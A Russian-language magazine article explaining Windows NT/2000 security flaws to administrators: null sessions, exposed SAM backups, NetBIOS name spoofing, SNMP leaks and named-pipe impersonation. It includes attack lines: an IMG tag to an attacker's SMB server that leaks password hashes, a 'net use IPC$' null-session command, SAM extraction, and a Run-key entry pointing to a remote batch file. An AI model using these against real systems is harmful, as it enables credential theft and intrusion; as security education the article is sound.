Атака на Windows NT

Крис Касперски
Статья была опубликована в Журнале сетевых решений LAN
В настоящей статье рассказывается о проблемах безопасности операционной системы Windows NT, в том числе и ее последней версии Windows 2000. Публикация рассчитана на системных администраторов и разработчиков прикладного программного обеспечения, предназначенного для работы на Windows NT.

Если первые кирпичи здания UNIX закладывались в ту далекую эпоху, когда никакой теории безопасности еще не существовало, то Windows NT изначально проектировалась как защищенная, отказоустойчивая система, стойкая ко всем антиамериканским настроениям.

Дейв Катлер, крестный отец Windows NT, ранее участвовавший в создании двух легенд семидесятых – RSX-11M и VMS¹, вложил в NT весь свой талант и опыт, но… похоже, потерпел неудачу. Да, Windows NT построена на передовых технологиях и основана на внутренне непротиворечивой модели безопасности, но теоретическую идиллию разрушают вездесущие ошибки реализации.

Кроме досадных багов – своеобразных программистских описок, исправляемых очередной заплаткой, – актуальны и проблемы стыковки различных компонентов операционной системы друг с другом. Несогласованная же работа способна значительно ослабить степень безопасности. Но ни один человек не в состоянии удержать в голове миллионы строк исходного кода операционной системы, а с ростом количества разработчиков, координировать их действия становится все сложнее и сложнее.

Неудивительно, что в Windows NT обнаруживаются серьезные бреши в защите и существуют способы несанкционированного повышения уровня своих привилегий с “гостя” до администратора. Часть ошибок устраняется правильным администрированием (читай – нечеловеческим ущемлением прав пользователей и отключением всего, что удается отключить²), но в силу самой архитектуры Windows NT у злоумышленника всегда останется шанс проникнуть в систему.

Как и UNIX, операционная система Windows NT подвержена угрозе срыва стека, точно так же для нее актуальна возможность прорыва за пределы процесса, позволяющая пользователю получить доступ к данным и коду другого приложения (включая системные сервисы), наконец, реализация протоколов семейства TCP/IP оставляет желать лучшего и допускает возможность удаленной атаки.

Впрочем, ошибки в практике программистов – дело привычное, и встречаются они не только у Microsoft, но отличительная черта Microsoft – бег впереди прогресса – приводит к появлению новых версий задолго до того, как разработчики успевают выявить и устранить дефекты в старых.

Для проникновения в систему злоумышленнику вовсе не обязательно подбирать пароль: одна забавная ошибка позволяет быстро, незаметно и надежно похитить его у жертвы. Достаточно поместить на страничку ссылку типа “<IMG SRC=file:////my.own.smb.server/mypets.jpg>“ и дождаться, пока жертва не вздумает на нее зайти (или для ускорения развязки послать жертве письмо в HTML-формате). Когда это, наконец, произойдет, Internet Explorer или Netscape Navigators автоматически, не запрашивая подтверждения, передадут имя пользователя и хеш-значение пароля, под которым тот вошел в систему.

Впервые на эту ненормальность обратил внимание Аарон Спанглер, а за ним обнаружили и другие. Атаке оказались подвержены все версии Windows NT 3.5-4.0 вплоть до последних Service Pack, а так же Windows 95 и Windows for Workgroups.

Но это не единственный способ несанкционированного вторжения. В Windows NT наличествует, так называемый, гостевой вход (“Guest Account”) с пустым паролем. На сервере он по умолчанию заблокирован, а на рабочих станциях – открыт! Получить доступ к узлу сети, пускай на гостевых правах – это уже происшествие, а вход в систему с привилегиями администратора – катастрофа.

Разумеется, на рабочей станции пароль администратора не хранится. Собственно, в Windows NT пароли вообще нигде не хранятся. Вместо этого в базу данных SAM (Security Account Manager) заносятся хеш-значения паролей. Сама база хранится в файле “%SystemRoot%\SYSTEM32\CONFIG\sam”, доступ к которому закрыт системой. Файл “sam” представляет собой ветвь реестра “HKEY_LOCAL_MACHINE\SECURITY\SAM”, права чтения которого предоставляются только администратору (и то по умолчанию они заблокированы). Функции API, манипулирующие с именами пользователя и хеш-значением, недоступны непривилегированным пользователям. Словом, защита выглядит как будто безупречной и неприступной.

Тем временем, резервная копия системы, хранящаяся в каталоге “%SystemRoot%\Repair”, в любое время доступна каждому члену группы Everyone³! Резервная копия создается при установке (или переустановке) Windows NT, а также всякий раз при запуске утилиты rdisk с ключом “/s”. Распаковав добытый файл командой “expand sam._ sam”⁴, злоумышленник сможет извлечь из него имена пользователей и хеш-значения паролей.

Конечно, самих паролей в базе не будет, но для удаленной регистрации они не нужны! Поэтому злоумышленнику без труда удастся подключиться к серверу. И если на нем окажется свежая резервная копия файла sam с действующим паролем администратора, то... Вообще-то, опытный администратор заранее отключит все гостевые выходы и уничтожит резервные копии (либо лишит пользователей прав доступа к ним), но все же описанная атака достаточно актуальна.

Но помимо гостевого входа, который элементарно отключить, в Windows NT, существует анонимный пользователь, обладающий правами на просмотр списка пользователей, разделенных ресурсов и некоторых (между прочим, достаточно многих) ветвей системного реестра. Анонимный пользователь необходим системе для организации нуль-сессий (NULL session), использующихся для выполнения действий, не требующих аутентификации (или в тех случаях, когда аутентификация невозможна). Например, пусть в сети находятся два домена Windows NT, условно обозначаемых “D₁” и “D₂”. Если “D₁” доверяет “D₂”, а сам “D₂” не доверяет “D₁”, то для получения списка пользователей и групп, расположенных на “недоверчивом” домене, приходится прибегать к анонимному подсоединению.

Анонимным пользователям доступен специальный ресурс IPC$ (inter-process communication), подключить который можно командой «net use \\name\IPC$ “” /USER:””», где name – сетевое имя компьютера или его IP адрес. Злоумышленник получает возможность запускать User Manager для просмотра пользователей и групп, Event Viewer для просмотра журнала событий, а также другие средства удаленного администрирования, основанные на протоколе SMB.

Ветвь реестра “HKLM\Software\Microsoft\Windows\CurrentVersion\Run”, содержащая имена программ, запускающихся при каждой локальной регистрации пользователя, доступна анонимному пользователю, как для чтения, так и для модификации. Изменяя ее по своему усмотрению, злоумышленник сможет выполнить не только одну из программ, хранящихся на сервере, но и любую из программ, находящихся на его компьютере! Для этого он должен записать нечто вроде “\\mycomputer\myprog.bat”, где mycomputer – имя компьютера злоумышленника или его IP-адрес. Командный файл выполняется с привилегиями локально зашедшего на сервер пользователя (а локально на сервер, как правило, заходят администраторы). А, получив права администратора, злоумышленник может сделать с сервером все, что угодно (например, узнать имена и хеш-значения всех остальных пользователей).

В 1997 году вышла программная реализация такой атаки, получившая название RedButton. Компания Microsoft выпустила горячую заплатку для Windows NT 3.51 и включила соответствующие исправления в Service Pack 3 для Windows NT 4.0. А в “базе знаний” Microsoft (Microsoft Knowledge Base) появилась достаточно подробная техническая заметка Q143474, развернуто объясняющая суть проблемы.

Но Service Pack не устранял возможность анонимного подключения, а только ограничивал права анонимного пользователя. Компания Microsoft открыто признавала (в технической заметке Q129457 базы знаний), что “…with RestrictAnonymous access enabled, anonymous connections are able to obtain the password policy from a Windows NT Server. The password policy defines the Windows NT domain policy with respect to the minimum password length, whether blank passwords are permitted, maximum password age, and password history”.

Технически регистрация в системе организована так, что проверка password policy осуществляется до аутентификации пользователя. Например, заведомо короткий пароль не стоит и проверять. В Windows NT policy доступны всем, в том числе и анонимному пользователю (даже после установки Service Pack 3!). Злоумышленник сможет узнать минимальную длину пароля, как часто меняются пароли и какое количество неудачных попыток регистрации блокирует учетную запись (если блокировка включена). Полученная информация значительно облегчает проникновение в систему.

А еще в policy открытым текстом хранятся предыдущие используемые пароли⁵, (так называемая история паролей). С точки зрения безопасности пароли необходимо периодически менять, – причем они не должны повторяться (во всяком случае, спустя короткое время). Например, в истории могут храниться пять последних паролей пользователя, и при смене пароля система проверяет, – не совпадает ли новый пароль с одним из них. Конечно, это старые пароли, недействительные на текущий момент, но их изучение позволяет понять, по какому принципу назначаются пароли: выбираются ли словарные слова, даты рождения родственников, имена любимых хомячков или абсолютно случайные последовательности. Кстати, не исключено, что рано или поздно пользователь вновь выберет один из старых паролей, возможно, несколько его видоизменив.

Компания Microsoft подтверждает наличие такой дыры⁶, предостерегая пользователей и администраторов от повторного выбора паролей. Но это не решает проблемы. Если пароли выбираются не абсолютно случайно, изучая их периодическую смену, злоумышленник может угадать очередной пароль или, по крайней мере, сузить круг перебора. Среди множества пользователей наверняка окажутся такие, кто халатно относится к безопасности и всегда выбирает короткие, запоминающиеся последовательности (а, следовательно, – предсказуемые).

Компания Microsoft утверждает, что Windows NT позволяет ограничить рабочие станции, с которых пользователь может входить в систему. И это чистая правда, – администратор легко может контролировать легального пользователя (в чем каждый с легкостью имеет возможность убедиться), а как насчет злоумышленника?

Увы! Прикладной протокол SMB реализуется поверх транспортных протоколов, совместимых с интерфейсом NetBIOS. А при установлении соединения по протоколу NetBIOS-сервер проверяет имя, сообщенное ему клиентом, а не его IP-адрес! Злоумышленнику достаточно знать (или выяснить методом перебора) с каких рабочих станций разрешен вход на сервер, а подделать их имена – дело техники. Если быть совсем точным – NetBIOS-сервер вообще не проверяет имя, переданное клиентом – это забота SMB-сервера, а до начала SMB-сессии никакое протоколирование установленных соединений не ведется!

Другую полезную для себя информацию злоумышленник может получить с помощью протокола SNMP (Simple Network Management Protocol). Протокол SNMP обеспечивает мониторинг сети и обычно используется администраторами, которые с его помощью могут отслеживать и оперативно реагировать на возникшие проблемы, а также настраивать сеть на максимальную производительность.

Одна из задач, возлагаемых на SNMP, – поддержка распределенной информационной базы управления MIB (Management Information Base). В узлах сети, находятся агенты – программные модули, собирающие информацию об управляемых объектах и размещающие полученную информацию в своих локальных переменных. Протокол SNMP обеспечивает обмен контрольной информацией между элементами сети и доступ к базе MIB.

При обмене сообщениями агенты используют механизмы аутентификации (часто уязвимые для взлома), а для доступа к базе MIB достаточно знать, так называемое, имя сообщества (community name), по умолчанию – public. А в базе MIB Windows NT среди прочего содержится следующая информация:

Таблица сервисов, запущенных на сервере, включая название и состояние сервиса

Очевидно, что информация подобного рода значительно упрощает несанкционированное вторжение в систему и не должна быть доступна злоумышленнику. Известны многочисленные случаи, когда сервис finger, сообщающий значительно меньше данных об активных пользователях, становился главной причиной успешности удаленных атак. Поэтому зачастую он отключается администраторами, становясь в наши дни экзотической редкостью. Насколько же более богатой информацией злоумышленника снабжают MIB-база и нуль-сессии! Но в отличие от сервера finger, их не так-то легко отключить!

Все способы, описанные выше, в той или иной мере устраняются правильным администрированием сети и не гарантируют злоумышленнику проникновения в систему. Часто атакующий действует наугад, отыскивая наименее защищенный узел, а не пытается получить доступ к какой-то одной, конкретной машине.

Но если в коде ядра присутствуют ошибки, позволяющие пользователю вмешиваться в работу системных процессов, то он сможет получить любые привилегии, в том числе и администратора! Изучая работу модуля ntoskrnl.exe, Константин Соболев обратил внимание на то, что функция NtAddAtom не контролирует значение аргумента, указывающего адрес для записи результатов успешности своей работы. Поскольку функция NtAddAtom выполняется ядром и имеет привилегии System, она может писать, что ей вздумается и куда вздумается. Но функция win32 API AddAtom содержит переходной код, который сохраняет результат работы NtAddAtom в локальной переменной, откуда и возвращает значение пользователю. Однако через прерывание 0x2E можно получить доступ непосредственно к функциям ядра без высокоуровневых оберток.

Реакция Microsoft в описании Соболева выглядит так: “30 июля 1997 я послал письмо в Microsoft, что так и так, есть такой баг. Через пару дней получил ответ от господина N, что я ошибся, и, вообще, моя программа не работает. Послав программу на www.ntsecurity.net и на news я убедился, что она все-таки работает. После публикации мне пришло письмо от господина NN из Microsoft (должностью повыше, чем N) с просьбой сообщить имя господина N”.

Вообще же, если у пользователя есть право отладки приложений, ему доступны функции WriteProcessMemory и CreateRemoteThread, позволяющие как угодно распоряжаться системой по своему усмотрению. Поскольку ни один здравомыслящий администратор потенциальному злоумышленнику такого права не даст, тому приходится присваивать его самостоятельно. К сожалению, описание алгоритма такой атаки выходит за рамки данной статьи, но существует утилита Sechole, написанная Prasad Dabak, Sandeep Phadke и Milind Borate, которая замещает код функции OpenProcess (проверяющий наличие прав отладки приложений перед открытием процесса) и затем, пользуясь отладочными функциями, помещает текущего пользователя в группу администраторов.

Служба редиректора также имеет ошибки реализации, позволяющие любому пользователю получить права администратора или нарушить нормальную работу сервера, поэтому имеет смысл подробно остановится на этом моменте.

Именованные каналы представляют собой механизм межсетевой передачи данных по виртуальному каналу, гарантирующему доставку сообщений. (Почтовые ящики не гарантируют доставку сообщений и процесс-отправитель не получает уведомление получил ли адресат сообщение или нет). Каналы реализованы в виде псевдофайловой системы NPFS (Named Pips File System), которая хранит все сообщения в памяти и выдает их по запросу. Имена сообщений представляются в виде “\pipe\pipaname” и работают с теми же функциями, что и обыкновенные файлы (например, CreateFile, ReadFile, WriteFile).

Создать именованный канал (или новый экземпляр существующего канала, если такой канал уже есть) позволяет функция CreateNamedPipe. Каждый экземпляр канала одновременно может работать лишь с одним клиентом. Поэтому при создании канала, сервер сразу же открывает несколько экземпляров канала. В документации Microsoft утверждается, что при запросе на подключение система соединяет клиента с любым незанятным экземпляром канала, но эксперименты показывают, – клиент всегда подключается к наиболее ранее созданному (или освобожденному) каналу.

Создать экземпляр уже существующего канала может любой процесс, независимо от его привилегий и прав доступа. Система примет новый экземпляр канала на равных правах со старым. И когда все созданные ранее экземпляры окажутся занятыми, очередной клиент, желающий установить соединение, окажется отосланным к подложному каналу. Но функции интерфейса приложений не позволяют клиенту узнать, какой процесс обрабатывает канал, с которым клиент установил соединение!

Это дает возможность внедрять ложные объекты в вычислительную систему и перехватывать входящий трафик. Более того, существует возможность унаследовать права клиента! Процессу, породившему экземпляр канала, достаточно вызвать функцию ImpersonateNamedPipeClient, выполняющую олицетворение (Impersonate) клиента. Вообще-то эта функция задумывалась как раз для обратного – понижения привилегий потока, выполняющего олицетворение.

Разработчики, в стремлении усилить защищенность системы, предложили: потоку, обрабатывающему подключение, временно назначать права клиента, установившего соединение. Пока привилегии клиента не превышают привилегий сервера (а обычно это так и есть), не происходит ничего интересного. Но как только пользователь из группы guest (или Everyone) создаст подложный экземпляр потока, и дождется подключения привилегированного клиента (или администратора!) он увеличит свои права (иногда весьма значительно)!

Вообще-то, прикладные программы используют каналы крайне редко и, казалось бы, злоумышленнику ни на что рассчитывать не приходится. Но интенсивнее всех использует каналы система удаленного администрирования. Выходит, существует вполне осязаемая угроза перехвата прав администратора! Причем система не в состоянии обнаружить вторжение нарушителя. Если, конечно, он не станет совершать действий, обращающих на себя внимание и сохраняющихся в протоколах и журналах. Так, например, создание нового пользователя (группы), наверняка, окажется замечено администратором, но ничто не мешает злоумышленнику выполнять любые операции от его имени (скажем, копировать файлы).

Впрочем, существует одно существенное ограничение. Олицетворяется не пользователь, а поток, и по наследству полученные привилегии не передаются. Это происходит потому, что в Windows NT новому процессу назначается маркер доступа процесса-родителя, а не маркер доступа потока, вызывающего CreateProcess. Поэтому злоумышленник не сможет запустить ни одну программу, требующую прав администратора. Однако ему это и не нужно – достаточно воспользоваться соответствующими системными функциями (а они доступны, включая и те, что требуют для исполнения прав администратора).

Существует программная реализация такой атаки, созданная Вадимом Проскуриным, совместно с Петром Девяниным и Сергеем Заливакиным. Программа AdminTrap создает троянский экземпляр одного из системных каналов и ждет подключения клиента. Если получение прав администратора происходит успешно, в качестве демонстрации работоспособности программы создается новый пользователь в группе “Администраторы”, но для предотвращения несанкционированного доступа в систему, вновь созданная учетная запись тут же блокируется. Очевидно, разработчики не ставили перед собой цель вторжения в чужие системы, а стремились показать наличие такой уязвимости.

Незначительное техническое уточнение: поскольку системные сервисы заранее создают несколько экземпляров каналов, то, скорее всего, подложный экземпляр канала никогда не дождется клиента (в самом деле, в какой системе наберется десяток одновременно работающих администраторов?). Поэтому необходимо занять все существующие каналы работой и заблокировать сервер, не давая ему возможность создавать новые экземпляры.

И такая возможность есть! Системные сервисы в Windows NT не ограничивают максимальное количество создаваемых экземпляров канала, а каждый канал, как правило, обрабатывается отдельным потоком (т.е. происходит классическое, популярное со времен UNIX расщепление процесса-обработчика при запросе на очередное подключение). Все потоки и каждый экземпляр канала требуют некоторого количества оперативной памяти, и если злоумышленник вздумает в бесконечном цикле устанавливать все новые и новые соединения, оперативной памяти может попросту не хватить!

На первый взгляд никакой опасности нет, – Windows NT поддерживает виртуальную память и при необходимости умеет выгружать наименее нужные страницы на диск. Злоумышленник физически не сможет работать со всеми установленными соединениями одновременно (памяти-то у него поменьше, чем у сервера будет) и неактивные потоки без ущерба для производительности могут быть скинуты в файл подкачки. Кажется, все определяется лишь количеством свободного места на диске.

Но при создании канала система размещает входящий и исходящий буфера в неоткачиваемой памяти (non-paged pool). Поэтому максимальное количество экземпляров канала определяется объемом неоткачиваемой памяти, выделенной процессу. Таким образом, существует возможность, как заблокировать создание новых экземпляров канала, так и замедлить работу системы, отобрав у системных процессов всю свободную оперативную память, заставляя их за каждой страницей обращаться к диску.

Вот как описывает Вадим Проскурин реакцию системы на создание бесчисленного количества экземпляров системных каналов:
“…загрузка процессора компьютера, на котором выполняется процесс-сервер, стабильно держится на уровне 100% (при этом около 90% времени процессор обслуживает процессы с базовым приоритетом High), а объем свободной оперативной памяти этого компьютера уменьшается со скоростью от 1 до 3 мегабайт в секунду. Когда и физическая, и виртуальная памяти компьютера переполняются, и начинается рост файла виртуальной памяти, эта скорость несколько уменьшается. Уже через минуту атакованный компьютер становится практически неработоспособен (окно Explorer прорисовывается несколько минут), а через 5-10 минут перегруженность операционной системы достигает такой степени, что команда Shutdown выполняется 3-6 часов”

Идея подобной атаки, окрещенной PipeBomb, принадлежит Петру Девянину, а Сергеем Заливакиным создана ее программная реализация, которую можно получить, обратившись по адресу: http://hackzone.ru/articles/PipeBomb.zip.

По словам авторов, комбинированием AdminTrap со строго дозированным воздействием на систему PipeBomb им удалось перехватить два соединения: winreg, управляющее удаленным доступом к реестру, и spoolss, отвечающее за удаленное управление принтером. Однако не исключено, что удастся перехватить и другие соединения, в том числе служебные, выполняющиеся системой без непосредственного участия администратора. Например, каналы lsass и LANMAN используются для передачи по сети имени пользователя и хеш-значения пароля во время сеанса аутентификации, а механизм удаленного вызова процедур (RCP) использует канал lsarpc.

Обе атаки успешно функционирует в среде Windows NT 4.0 со всеми установленными Service Pack, одинаково хорошо “чувствуя” себя и на рабочей станции, и на сервере. Они осуществимы как из локальной сети, так из Internet, поскольку основаны на прикладном SMB-протоколе, который может быть реализован поверх транспортного протокола TCP. Административными средствами посильно перекрыть Internet-трафик, установив фильтр, отсекающий все пакеты, содержащие заголовки SMB, но такая мера бессильна против злоумышленников, находящихся внутри локальной сети.

Фирма Microsoft исправила эту проблему после выхода Windows 2000, выпустив 2 августа 2000 года заплатку “Service Control Manager Named Pipe Impersonation”, которую можно получить, обратившись по адресу: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23432.

Оказались, что уязвимы все три платформы – и Microsoft Windows 2000 Professional, и Microsoft Windows 2000 Server, и Microsoft Windows 2000 Advanced Server, поэтому нерасторопные администраторы рискуют подвергнуться атаке. Подробнее об этом можно прочитать в технической заметке Microsoft Security Bulletin (MS00-053).

Вообще же, отсутствие ограничений на количество создаваеммых объектов в NT повсеместны. Давно известен пример атакующей программы, создающей в бесконечном цикле огромное количество окон. Когда же лимит, отведенный системой, исчерпывается (все на свете рано или поздно кончается), никто, даже ядро системы, не может создать новое окно. Ни работать на компьютере, ни “прибить” процесс, ни, даже, завершить работу системы становится невозможно, потому что для этого необходимо вызвать либо Менеджер Задач, либо диалог “Завершение Работы”, а новые окна создать невозможно! Поэтому, остается утопить “заветную” клавишу Reset или выдернуть шнур из сети электропитания. Помнится, Microsoft решила проблему “методом страуса” – окно Менеджера Задач создавалось сразу же после старта системы, но не отображалось на экране, пока в нем не было необходимости, а вызов Менеджера Задач только менял атрибуты уже существующего окна, и оно становилось доступным в любой критической ситуации.

Спустя некоторое время появилась простая программа: вместо окон в бесконечном цикле, порождающая потоки (а количество потоков, принадлежащих процессу, независимо от его привилегий, не ограничено). Потоки же способны “съесть” все процессорное время, остальные процессы с равным (или низшим) приоритетом практически “замрут”. Впрочем, если у злоумышленника отсутствует право выполнять процессы с приоритетом выше среднего⁷ (Normal), то существует возможность “прибить” зловредную программу Менеджером Задач, но, увы, не автоматически. Если же это произойдет на сервере, то многие приложения окажутся парализованными до вмешательства администратора.

Поэтому ситуацию с каналами нельзя отнести в разряд непредвиденных, однако это первая реализация удаленного перехвата, которая не может быть устранена правильным администрированием. И никто не гарантирует, что завтра не обнаружатся новые серьезные дыры в системе безопасности. Скорее наоборот, обнаружатся, наверняка. Ну не может быть, чтобы не обнаружились! Но вот где, как и когда?

¹ Кстати, если в слове "VMS" сдвинуть все буквы на одну позицию вправо, получится "WNT"     назад
² А все что не удается отключить, выламывается с корнем     назад
³ В Windows 2000 это упущение уже исправлено     назад
⁴ Резервная копия хранится в упакованном виде     назад
⁵ Или их хэши     назад
⁶ Подробности в статье Q129457 базы знаний     назад
⁷ А по умолчанию они у него есть     назад